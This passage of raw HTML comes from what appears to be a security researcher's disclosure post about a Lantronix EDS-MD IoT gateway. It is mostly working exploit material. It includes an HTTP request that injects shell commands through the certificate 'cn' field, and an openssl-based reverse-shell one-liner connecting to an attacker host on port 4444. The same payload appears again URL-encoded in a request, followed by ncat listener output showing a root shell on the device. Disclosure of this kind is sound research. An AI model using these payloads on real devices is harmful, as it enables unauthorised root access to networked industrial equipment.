&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-5" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-5"&gt;&lt;/a&gt;&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-6" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-6"&gt;&lt;/a&gt;&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-7" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-7"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*/*&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-8" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-8"&gt;&lt;/a&gt;&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;http://192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-9" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-9"&gt;&lt;/a&gt;&lt;span class="na"&gt;Referer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;http://192.168.183.43/?x=k8pgpswk&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-10" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-10"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;gzip, deflate&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-11" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-11"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Language&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;en-GB,en-US;q=0.9,en;q=0.8&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-12" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-12"&gt;&lt;/a&gt;&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;close&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-13" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-13"&gt;&lt;/a&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-14" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-14"&gt;&lt;/a&gt;&lt;span class="nt"&gt;ajax&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SslGenerateCertificate&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;o&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;ou&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;cn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bbbbbbb'||ping -c 1 192.168.183.11 #&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;01%2F01%2F2026&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;keytype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;DSA&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;bits&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;512&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;submit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Submit&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;sslcredentialname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;abbb&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The IP address 192.168.183.11 will then receive ICMP requests (pings), meaning the &lt;code class="docutils literal"&gt;ping&lt;/code&gt; command was executed on the device.&lt;/p&gt;
&lt;p&gt;By using the &lt;code class="docutils literal"&gt;openssl&lt;/code&gt; command that is on the device and used to create a certificate, we can achieve a remote shell to fully access the Lantronix device as Linux user &lt;code class="docutils literal"&gt;root&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_f92e9b922b6d4eb186534298a1938079-1" name="rest_code_f92e9b922b6d4eb186534298a1938079-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_f92e9b922b6d4eb186534298a1938079-1"&gt;&lt;/a&gt;mkfifo&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;s_client&lt;span class="w"&gt; &lt;/span&gt;-quiet&lt;span class="w"&gt; &lt;/span&gt;-connect&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.183.11:4444&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/tmp/s
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Or as an HTTP request:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTTP"&gt;&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-1" name="rest_code_71d5478b6ce14d46959ee452037bbec0-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-1"&gt;&lt;/a&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-2" name="rest_code_71d5478b6ce14d46959ee452037bbec0-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-2"&gt;&lt;/a&gt;&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-3" name="rest_code_71d5478b6ce14d46959ee452037bbec0-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-3"&gt;&lt;/a&gt;&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;493&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-4" name="rest_code_71d5478b6ce14d46959ee452037bbec0-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-4"&gt;&lt;/a&gt;&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Basic REDACTED&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-5" name="rest_code_71d5478b6ce14d46959ee452037bbec0-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-5"&gt;&lt;/a&gt;&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-6" name="rest_code_71d5478b6ce14d46959ee452037bbec0-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-6"&gt;&lt;/a&gt;&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-7" name="rest_code_71d5478b6ce14d46959ee452037bbec0-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-7"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*/*&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-8" name="rest_code_71d5478b6ce14d46959ee452037bbec0-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-8"&gt;&lt;/a&gt;&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;http://192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-9" name="rest_code_71d5478b6ce14d46959ee452037bbec0-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-9"&gt;&lt;/a&gt;&lt;span class="na"&gt;Referer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;http://192.168.183.43/?x=k8pgpswk&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-10" name="rest_code_71d5478b6ce14d46959ee452037bbec0-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-10"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Encoding&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;gzip, deflate&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-11" name="rest_code_71d5478b6ce14d46959ee452037bbec0-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-11"&gt;&lt;/a&gt;&lt;span class="na"&gt;Accept-Language&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;en-GB,en-US;q=0.9,en;q=0.8&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-12" name="rest_code_71d5478b6ce14d46959ee452037bbec0-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-12"&gt;&lt;/a&gt;&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;close&lt;/span&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-13" name="rest_code_71d5478b6ce14d46959ee452037bbec0-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-13"&gt;&lt;/a&gt;
&lt;a id="rest_code_71d5478b6ce14d46959ee452037bbec0-14" name="rest_code_71d5478b6ce14d46959ee452037bbec0-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_71d5478b6ce14d46959ee452037bbec0-14"&gt;&lt;/a&gt;&lt;span class="nt"&gt;ajax&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SslGenerateCertificate&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;o&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;ou&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bb&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;cn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;bbbbbbb'|| %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%38%33%2e%31%31%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73 #&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;01%2F01%2F2026&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;keytype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;DSA&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;bits&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;512&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;submit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Submit&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;sslcredentialname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;abbb&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On the attacker side we just have to listen for the back-connect and then get an interactive shell:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-1" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-1"&gt;&lt;/a&gt;attacker% ncat --ssl -vv -l -p 4444
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-2" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-2"&gt;&lt;/a&gt;Ncat: Version 7.93 ( https://nmap.org/ncat )
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-3" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-3"&gt;&lt;/a&gt;Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-4" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-4"&gt;&lt;/a&gt;Ncat: SHA-1 fingerprint: C86D 6F63 B9C0 9050 9A51 A7F3 D8F9 748D 22F4 F497
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-5" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-5"&gt;&lt;/a&gt;Ncat: Listening on :::4444
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-6" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-6"&gt;&lt;/a&gt;Ncat: Listening on 0.0.0.0:4444
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-7" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-7"&gt;&lt;/a&gt;Ncat: Connection from 192.168.183.43.
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-8" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-8"&gt;&lt;/a&gt;Ncat: Connection from 192.168.183.43:34902.
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-9" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-9"&gt;&lt;/a&gt;/bin/sh: can't access tty; job control turned off
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-10" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-10"&gt;&lt;/a&gt;/ # ls
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-11" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-11"&gt;&lt;/a&gt;bin
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-12" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-12"&gt;&lt;/a&gt;boot
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-13" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-13"&gt;&lt;/a&gt;config
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-14" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-14"&gt;&lt;/a&gt;defaults
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-15" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-15"&gt;&lt;/a&gt;dev
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-16" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-16"&gt;&lt;/a&gt;etc
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-17" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-17"&gt;&lt;/a&gt;home
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-18" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-18"&gt;&lt;/a&gt;http
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-19" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-19"&gt;&lt;/a&gt;lib
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-20" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-20"&gt;&lt;/a&gt;linuxrc
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-21" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-21" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-21"&gt;&lt;/a&gt;lost+found
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-22" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-22" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-22"&gt;&lt;/a&gt;ltrx_private
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-23" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-23" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-23"&gt;&lt;/a&gt;ltrx_user
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-24" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-24" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-24"&gt;&lt;/a&gt;mnt
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-25" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-25" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-25"&gt;&lt;/a&gt;opt
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-26" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-26" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-26"&gt;&lt;/a&gt;proc
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-27" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-27" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-27"&gt;&lt;/a&gt;root
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-28" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-28" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-28"&gt;&lt;/a&gt;sbin
